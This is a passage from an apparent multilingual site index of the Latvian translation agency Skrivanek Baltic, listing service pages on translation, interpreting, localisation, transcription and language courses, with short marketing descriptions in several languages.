simultanea](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/): Interpretazione simultanea di conferenze, riunioni e altri eventi in oltre 60 lingue. Noleggio di apparecchiature per servizi di interpretazione simultanea. - [Interpretazione di conferenza](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/): Servizi di interpretazione professionali sono fondamentali per il successo delle vostre conferenze! Servizi di interpretazione e di organizzazione di conferenze Contattateci! - [Interpretazione in tribunale](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/): Garantiamo servizi di interpretazione in occasione di udienze in tribunale. Collaboriamo con interpreti esperti che conoscono bene la terminologia legale. Contattateci! - [Lingua norvegese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/): Traduzioni generali e specialistiche in lingua norvegese. Interpretazione, localizzazione e altri servizi in lingua norvegese. Contattateci! - [Lavora con noi](https://skrivanek.lv/karjera/): Scopri di più sui posti di lavoro attualmente disponibili. Per saperne di più sul nostro processo di selezione del personale, vi invitiamo a leggere i requisiti e le condizioni di cooperazione. - [Codice lingua](https://skrivanek.lv/valodu-kodi/): I codici lingua ISO 639-1 rappresentano i nomi delle principali lingue del mondo. I codici sono assegnati dall'Infoterm. - [Segnalazione di condotte illecite](https://skrivanek.lv/trauksmes-celsana/): La referente di Skrivanek Baltic SRL per le questioni riguardanti le segnalazioni di condotte illecite è Jeļena Lapoška, direttrice del dipartimento amministrativo. - [Localizzazione di contenuti e servizi per l’e-learning](https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/): Localizzate i vostri contenuti didattici o i vostri servizi didattici online in almeno alcune delle lingue più diffuse nel mondo o nella vostra regione! - [Localizzazione di contenuti per il digital marketing](https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/): PERCHÉ È NECESSARIA LA LOCALIZZAZIONE DI CONTENUTI PER IL MARKETING DIGITALE? Ricerca di parole chiave per l'ottimizzazione SEO. Richiedete un preventivo gratuito! - [Organizzazione di eventi online e servizi di interpretazione](https://skrivanek.lv/tiessaistes-pasakumu-rikosana/): Avete intenzione di organizzare una conferenza virtuale in cui i partecipanti parlano lingue straniere diverse? I nostri professionisti vi aiuteranno! - [Lingua lettone](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/): Traduzioni e servizi di interpretazione generali e specializzati, traduzioni con certificazione notarile. Corsi di lingua lettone. Oltre 25 anni di esperienza. - [Lingua croata](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/): Traduzioni generali e specialistiche in lingua croata. Interpretazione e altri servizi in lingua croata. Ottenete un preventivo gratuito in 15 minuti! - [Lingua rumena](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/): Traduzioni generali e specializzate, interpretazione, localizzazione e altri servizi in lingua rumena. Richiedete un preventivo gratuito! - [Lingua uzbeka](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/): Traduzioni generali e specialistiche in lingua uzbeka, interpretazione, localizzazione e altre soluzioni in lingua uzbeka. - [Lingua slovena](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/): Traduzioni generali e specializzate, interpretazione, localizzazione e altri servizi in lingua slovena. Richiedete un preventivo gratuito! - [Lingua araba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/): Traduzioni generali e specialistiche in lingua araba. Interpreti di arabo, corsi individuali di lingua araba. Contattateci! - [Lingua armena](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/): Traduzioni generali e specialistiche in lingua armena. Servizi di interpretazione e altre soluzioni in lingua armena. - [Lingua ucraina](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/): Traduzioni generali e specializzate, traduzioni notarili, interpretazione e altri servizi linguistici in lingua ucraina. - [Traduzione e localizzazione di siti web](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): Forniamo servizi di localizzazione di alta qualità per garantire che il vostro sito web soddisfi i bisogni e le caratteristiche della regione o del mercato di riferimento. - [Lingua islandese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/): Traduzioni generali e specialistiche in lingua islandese. Interpretazione e altri servizi linguistici in lingua islandese. Contattateci! - [Lingua turca](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/): Traduzioni generali e specializzate, interpretazione, localizzazione e altre soluzioni in lingua turca. Richiedete un preventivo gratuito! - [Lingua albanese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/): Traduzione di documenti in lingua albanese. Servizi di interpretazione e molti altri servizi in lingua albanese! Richiedete un preventivo gratuito! - [Lingua olandese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/): Traduzioni e altri servizi linguistici in lingua olandese. Oltre 25 anni di esperienza. Ottenete un preventivo gratuito in 15 minuti! - [Lingua bielorussa](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/): Traduzioni e altri servizi linguistici in lingua bielorussa. Oltre 25 anni di esperienza. Ottenete un preventivo gratuito in 25 minuti! - [Profesionāli tulkošanas pakalpojumi no latviešu valodas angļu valodā un no angļu valodas latviešu valodā](https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/): Nepieciešami tulkošanas pakalpojumi no latviešu valodas angļu valodā vai otrādi? Mēs jums palīdzēsim! Sazinies ar Skrivanek Baltic - [Переводы с русского на английский / с английского на русский язык](https://skrivanek.lv/ru/perevodi-s-russkovo-na-anglijskij-ili-s-anglijskovo-na-russkij-jazik/): Опытные переводчики Skrivanek Baltic предоставляют профессиональные услуги перевода текстов на русский и с русского на английский язык предприятиям и физическим лицам. - [Language and intercultural communication consulting](https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/): There may not be a second chance for yourself and your company to make a first impression. Book a language and intercultural communication consultation. - [E-commerce – the translation and localisation of online stores](https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/): Do you want to market your products and services to foreign customers? We provide the translation and localisation of online stores in 110+ languages. - [OCR – Optical Character Recognition](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): Cooperation with Skrivanek guarantees that the documents will be scanned correctly and then translated into the desired foreign language. - [Technical translation](https://skrivanek.lv/tehniska-tulkosana/): Professional translations of technical documentation, equipment instructions and software, respecting industry terminology. - [E-commerce - traduzione e localizzazione di negozi online](https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/): Volete vendere i vostri prodotti e servizi a clienti stranieri? Forniamo servizi di traduzione e di localizzazione di negozi online in oltre 110 lingue. - [Blog](https://skrivanek.lv/blogs/): Find out all about modern translation services, the changing language industry and technology in our exciting blog. - [Услуги транскрипции/транскрибирования](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Skrivanek предлагает профессиональные услуги транскрипции и транслитерации, преобразовывая устный текст с аудио/визуальных записей в письменный текст на +110 языках. - [Transkriptsioon/transkribeerimisteenus](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Skrivanek pakub professionaalseid transkriptsiooni- ja translitereerimisteenuseid, konverteerides kõnekeelseid tekste audio-/visuaalsetest salvestustest kirjalikuks tekstiks +110 keeles. - [Transkriptio-/käännöspalvelut](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Skrivanek tarjoaa ammattimaisia transkriptio- ja translitterointipalveluita, jotka muuttavat puhutun tekstin ääni- ja kuvatallenteista kirjoitetuksi tekstiksi +110 kielellä. - [Transcription/transliteration services](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Skrivanek offers professional transcription and transliteration services, converting spoken text from audio/visual recordings to written text in +110 languages. - [Экосистема перевода Skrivanek: современные интеграции](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): Новейшие решения в области языковых технологий для экосистемы и интеграции идеально подходят для проектов с большими объемами многоязычного контента. - [Tõlgete ökosüsteem – kaasaegsed integreeritud lahendused](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): Ökosüsteemi ja integratsiooni uusimad keeletehnoloogilised lahendused sobivad ideaalselt suure mahuga mitmekeelse sisuga projektide jaoks. - [Käännösekosysteemi - huippuluokan integraatiot](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): Uusimmat kieliteknologiaratkaisut ekosysteemiä ja integrointia varten soveltuvat erinomaisesti hankkeisiin, joissa on suuria määriä monikielistä sisältöä. - [Translation ecosystem and integrations](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): The latest language technology solutions for ecosystem and integration are ideal for projects with large volumes of multilingual content. - [Sotilaskäännökset ja sotilastulkit](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): Meillä on huomattava kokemus sotilastekstien kääntämisestä puolustusvoimille ja puolustusteollisuudelle eri kielille. - [Militär översättning och tolkning](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): [vc_row full_width=”stretch_row_content” equal_height=”yes” content_placement=”top” disable_custom_paddings_tablet=”true” disable_custom_paddings_mobile=”true” css=”. vc_custom_1673957714531{margin-top: 0px ! important;margin-bottom: 0px ! important;padding-top: 20px ! important;background-position: 0 0 !... - [Sõjalise sisuga tekstide tõlkimine ja sõjavaldkonna tõlgid](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): Meil on märkimisväärne kogemus sõjaväeliste tekstide tõlkimisel relvajõudude ja kaitsetööstuse jaoks. Võtke meiega ühendust. - [Military translations and military interpreters](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): We have considerable experience in translating military texts for the armed forces and the defence industry. - [Transkripcija jeb transkribēšanas pakalpojumi](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Audio un/vai video ierakstu transkripcija ir ierakstā runātā teksta pārveidošana drukātā tekstā. Sazinieties ar mums, lai uzzinātu vairāk! - [Militāro tekstu tulkošana](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): Militāro tekstu tulkojumi ievērojot NATO Terminoloģijas direktīvas. Konfidencialitātes garantija. Militāra tulka mutiskās tulkošanas pakalpojumi - [Tulkošanas ekosistēma un integrācija](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): Jaunākie valodu tehnoloģiju risinājumi ir lieliski piemēroti tulkošanas darbam ar liela apjoma daudzvalodu saturu. - [Professional Translation Services from Latvian to English and English to Latvian](https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/): Looking for a professional LV to ENG/ENG to LV translation? Choose Skrivanek. Get online quote withing 30 minutes. High-quality results! - [Professional Russian to English and English to Russian Translation Services for Businesses and Individuals](https://skrivanek.lv/en/professional-russian-to-english-and-english-to-russian-translation-services-for-businesses-and-individuals/): Our experienced translators provide professional translation services for texts into Russian and from Russian into English for businesses and individuals. - [Tulkojumi tadžiku valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-tadziku-valoda/): Dažādu dokumentu, tekstu tulkojumi tadžiku valodā. Pasākumu un tikšanos tulkojumi. Saņemiet bezmaksas cenas aprēķinu 15 minūtēs! - [Tulkojumi bosniešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-bosniesu-valoda/): Dažādu tekstu un dokumentu tulkojumi boesniešu valodā ar vai bez notariālu apliecinājumu. Tulka pakalpojumi pasākumos un tikšanās. - [Tulkojumi urdu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-urdu-valoda/): Dažādu dokumentu, tekstu un pasākumu tulkojumi urdu valodā un no urdu valodas. Atsūtiet pieprasījumu un saņemiet bezmaksas cenas aprēķinu! - [Tulkojumi taju valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-taju-valoda/): Dažādu dokumentu, tekstu tulkošana taju valodā ar vai bez notāra apliecinājumu. Tulka pakalpojumi pasākumos, tikšanās. - [Tulkojumi azerbaidžāņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-azerbaidzanu-valoda/): Dažādu dokumentu, tekstu, pasākumu un tikšanos tulkojumi azerbaidžāņu valodā un no tās. Saņemiet bezmaksas cenas aprēķinu 30 minūtēs! - [Tulkojumi vjetnamiešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vjetnamiesu-valoda/): Profesionāli tulkošanas pakalpojumi uz un no vjetnamiešu valodas. Tulkojam dažādus dokumentus, tekstus, pasākumus un tikšanās. - [Terminu vārdnīca](https://skrivanek.lv/terminu-vardnica/): Tulkošanas nozares terminu vārdnīca – atrodi precīzus tulkojumus un skaidrojumus biežāk lietotajiem terminiem dažādās nozarēs. - [Lokalisointi](https://skrivanek.lv/pakalpojumi/lokalizacija/): Emme ainoastaan tarjoa käännöksiä, vaan varmistamme myös, että lokalisoidut tuotteet ja ohjelmistot toimivat hyvin. 👍 - [Eseju konkurss augstskolu studentiem 2023](https://skrivanek.lv/blogs/eseju-konkurss-augstskolu-studentiem/): Eseju konkurss bakalaura un maģistra studiju programmas studentiem. Eseja jāiesniedz latviešu vai latgaliešu valodā. Vērtīgas balvas. - [Kotisivun kääntäminen ja lokalisointi](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): Tarjoamme optimaalisia lokalisointiratkaisuja, jotta verkkosivustosi vastaa alueesi tai markkinasi tarpeita ja paikallisia erityispiirteitä. - [OCR – optiskā rakstzīmju atpazīšana](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): Sadarbība ar Skrivanek garantē, ka dokumenti tiks pareizi nolasīti un pēc tam pārtulkoti vēlamajā svešvalodā. - [OCR ehk optiline märgituvastus](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): OCR on optilise märgituvastuse tehnoloogia, mida kasutatakse üha enam paljudes majandusharudes – alates haldusest kuni tõlkimiseni. - [OCR ehk optiline märgituvastus](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): OCR on optinen merkintunnistustekniikka, jota käytetään yhä enemmän ja enemmän monilla talouden aloilla – laajasti ymmärretystä hallinnosta kääntämiseen. - [E-komercija – interneta veikalu tulkošana un lokalizēšana](https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/): Vēlaties savus produktus un pakalpojumus tirgot ārvalstu klientiem? Nodrošinām interneta veikala tulkošanu un lokalizēšanu 110+ valodās. - [Tulkošana tiešsaistē Zoom platformā](https://skrivanek.lv/tulkosana-tiessaiste-zoom-platforma/): Piedāvājam modernus tiešsaistes (Zoom u. c..) pasākumu secīgās un sinhronās tulkošanas pakalpojumus vairāk nekā 110 valodās. Tulkošana Zoom. - [Thanks for Your Request](https://skrivanek.lv/paldies-par-pieprasijumu/): Thank you for... - [Aitäh teie taotluse eest](https://skrivanek.lv/paldies-par-pieprasijumu/): Aitäh, et võtsite... - [Kiitos pyynnöstäsi](https://skrivanek.lv/paldies-par-pieprasijumu/): Kiitos, että otit... - [Grazie per la sua richiesta](https://skrivanek.lv/paldies-par-pieprasijumu/): Grazie per aver... - [Dėkojame už Jūsų užklausą](https://skrivanek.lv/paldies-par-pieprasijumu/): Dėkojame, kad susisiekėte... - [Спасибо за Ваш запрос](https://skrivanek.lv/paldies-par-pieprasijumu/): Благодарим за обращение... - [Veebilehe tõlkimine ja lokaliseerimine](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): Kohandame teie kodulehe konkreetse piirkonna jaoks, arvestades keelelisi ja kultuurilisi iseärasusi. Mõistlikud kulud ja sujuv protess ka mahukate tööde puhul. - [Valodas un starpkultūru komunikācijas konsultācijas](https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/): Otrās iespējas atstāt pirmo iespaidu par sevi un savu uzņēmumu var arī nebūt. Piesakieties valodas un starpkultūru konsultācijai! 👋 - [Консультационные услуги по вопросам глобализации](https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/): У вас не будет второго шанса произвести первое впечатление. Необходима консультация? Свяжитесь с нами! 👋 - [Переводы на турецкий язык](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/): Качественные переводы с/на турецкий язык более чем с 300 языков: письменные и устные переводы, локализация и другие услуги. Свяжитесь с нами! - [Bloga raksti](https://skrivanek.lv/bloga-raksti/): [vc_row full_width=”stretch_row” custom_css_code=”LnZjX2dyaWQtZmlsdGVyLWl0ZW0lN0IlMEElMjAlMjAlMjAlMjBtYXJnaW4tbGVmdCUzQSUyMDVweCUzQiUwQSU3RA==” css=”. vc_custom_1619711342091{margin-top: 0px ! important;margin-bottom: 0px... - [Услуги дублированного перевода, субтитрирования и банка голосов](https://skrivanek.lv/ru/uslugi-dublirovannovo-perevoda-subtitrovanija-i-banka-golosov/): Услуги дублированного перевода, субтитрирования и банка голосов. Зная ожидания клиента, наши сотрудники смогут предоставить дополнительную информацию. - [Подготовка креативных текстов (копирайтинг)](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Что такое копирайтинг? Когда он необходим? С чего начать? Копирайтинг на иностранном языке. С созданием каких текстов мы можем помочь? - [Переводы на португальский язык](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/): Переводы документов, устные переводы, языковые курсы и другие языковые решения на португальском языке. Узнайте больше! - [Belarusian Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/): Translations and other language solutions in Belarusian language. 30+ years of experience. Get a free quote in 25 minutes! - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Skrivanek vērtība ir atbildība pret klientu, kas ietver arī mašīntulkojumu pareizību. Esam saņēmuši ISO 18587 sertifikātu. - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Skrivanek's value is customer responsibility, which includes the accuracy of machine translations. We are ISO 18587 certified. - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Skrivaneki väärtus on kliendi vastutus, mis hõlmab ka masintõlke täpsust. Meil on ISO 18587:2017 sertifikaat. - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Skrivanekin arvona on asiakkaan vastuullisuus, johon kuuluu myös konekäännösten tarkkuus. Meillä on ISO 18587 -sertifikaatti. - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Skrivanek vertybė– klientų atsakomybė, kuri apima ir mašininio vertimo tikslumą. Esame gavę ISO 18587 sertifikatą. - [Angļu valodas kursi](https://skrivanek.lv/pakalpojumi/valodu-kursi/anglu-valodas-kursi/): Angļu valodas kursi – iespēja apgūt valodu dažādos veidos jebkurā vecumā. Klātienē vai online. Izvēlies sev piemērotāko mācību veidu! 👆️ - [Tulkojumi kazahu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-kazahu-valoda/): Tulkošanas birojs Skrivanek nodrošina dažādu dokumentu un pasākumu tulkošanu kazahu valodā . Saņemiet cenas aprēķinu 30 minūtēs! - [Tulkojumi latīņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latinu-valoda/): Tulkojumu birojs Skrivanek piedāvā dažādus latīņu valodas pakalpojumus, tostarp, rakstiskos un mutiskos tulkojumus, valodu kursus u.c. - [Translations in Hebrew](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/): General and specialised translations, interpreting and other language solutions in Hebrew language. Get a free quote! - [Dutch Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/): Translations and other language solutions in Dutch language. 30+ years of experience. Get a free quote within 15 minutes! - [WordPress tīmekļa vietnes tulkošana un lokalizēšana ar WPML spraudni](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/wordpress-timekla-vietnes-tulkosana-un-lokalizesana-ar-wpml-spraudni/): WPML spraudnis vai kā visefektīvāk lokalizēt Wordpress mājaslapu? Kāds ir labākais risinājums mājaslapas tulkojumam? Lasi šeit! - [Icelandic language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/): General and specialised translations in Icelandic language. Interpreting and other language solutions in Icelandic language. Contact us! - [Turkish Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/): General and specialised translations, interpretation, localisation and other Turkish language solutions. Get a free quote! - [Albanian Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/): Document translation in Albanian language. Interpreting services and many more various Albanian language solutions! Get a free quote! - [Drupal platformā izstrādātas tīmekļa vietnes tulkošana un lokalizācija](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/drupal-platforma-izstradatas-timekla-vietnes-tulkosana-un-lokalizacija/): Kāds ir efektīvākais risinājums Drupal platformā izstrādātas mājaslapas tulkošanai? Kā sasniegt klientu pasaules otrā malā? - [Tulkojumi islandiešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/): Dažādu dokumentu tulkojumi islandiešu valodā. Klātienes vai tiešsaistes pasākumu tulkojumi. Citi valodu risinājumi islandiešu valodā. - [Tulkojumi pandžabu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-pandzabu-valoda/): Dažādu dokumentu tulkojumi un mutiskie klātienes vai tiešsaistes pasākumu tulkojumi pandžabu valodā. Pandžabu valoda faktos. - [Tulkojumi tatāru valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-tataru-valoda/): Interesanti fakti par tatāru valodu un Tatarstānas Republiku. Tulkošanas biroja Skrivanek valodu paklpojumi tatāru valodā. Ieskaties! - [Krievu valoda](https://skrivanek.lv/krievu-valoda/): Krievu valoda – tās attīstība un vēsture, nozīme Latvijā un biznesa vidē. Ieskaties! Krievu valodas apguve, tulkošana, valodu pakalpojumi. - [Website translation and localisation](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): We will provide optimal localisation solutions to make sure your website suits the needs and local characteristics of your region or market. - [Перевод и локализация домашних страниц](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): Перевод и локализация ваших веб-сайтов. Мы гарантируем качество и конфиденциальность. Свяжитесь с нами! 👆️ - [Armenian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/): General and specialised translations in Armenian language. Interpreting services and other Armenian language solutions. - [Ukrainian Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/): General and specialised translations, notary-certified translations, interpreting services and other Ukrainian language solutions. - [Uzbek language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/): General and specialised translations in Uzbek language, interpretation, localisation and other Uzbek language solutions. - [Slovenian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/): General and specialised translations, interpretation, localisation and other Slovenian language solutions. Get a free quote! - [Arabic language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/): General and specialised translations in Arabic language. Arabic interpreters, individual Arabic language courses. Contact us! - [Croatian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/): General and specialised translations in Croatian language. Interpreting and other Croatian language solutions. Get a free quote in 15 min! - [Romanian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/): General and specialised translations, interpreting, localisation and other Romanian language solutions. Get a free quote! - [Latvian language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/): General and specialised, notary-certified translations and interpreting services. Latvian language courses. 30+ years of experience! - [ŽI](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Kokybiški sprendimai turizmo pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [IT ir žaidimai](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Kokybiški sprendimai IT ir žaidimų pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Teisė](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Kokybiški sprendimai teisės sektoriui: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Žemės ūkis ir miškininkystė](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Kokybiški kalbiniai sprendimai žemės ūkiui ir miškininkystei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Inžinerija ir geležinkeliai](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Kokybiški sprendimai inžinerijai ir geležinkeliams: vertimas raštu, vertimas žodžiu, notarinis patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Prekyba](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Kokybiški sprendimai prekybos pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Sritys](https://skrivanek.lv/tulkosanas-nozares/): Kokybiški specializuoti sprendimai. Vertimas raštu ir žodžiu. Kalbų kursai. Gaukite nemokamą pasiūlymą per kelias minutes! - [Čekų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): Kalbų sprendimai su daugiau nei 300 čekų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą per 15 minučių! - [Graikų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Kalbų sprendimai, susiję su daugiau nei 300 graikų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - [Danų kalba](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Kalbų sprendimai su daugiau nei 300 danų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir t. t. Gaukite nemokamą pasiūlymą per 15 minučių! - [Medicina ir klinikiniai tyrimai](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Kokybiškos, su konkrečia sritimi susijusios paslaugos: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Reklama ir rinkodara](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Kokybiški reklamos ir rinkodaros sprendimai: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Gamyba](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Kokybiški sprendimai gamybos pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Turizmas](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Kokybiški sprendimai turizmo pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Valstybinės ir savivaldybių institucijos](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Kalbų sprendimai valstybinėms ir savivaldybių institucijoms: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Vertimas raštu](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Verčiame beveik bet kokios rūšies ir formato dokumentus. Greitas ir kokybiškas vertimas. Gaukite nemokamą pasiūlymą per 15 minučių! - [Vertimas žodžiu](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Profesionalaus vertėjo žodžiu paslaugos konferencijose, verslo susitikimuose, derybose, teismo posėdžiuose ir kt. Vietiniai ir užsienio vertėjai žodžiu. Susisiekite su mumis! - [Draudimas](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Kokybiški sprendimai draudimo pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - [Statyba](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Kokybiški sprendimai statybų pramonei: vertimas raštu, vertimas 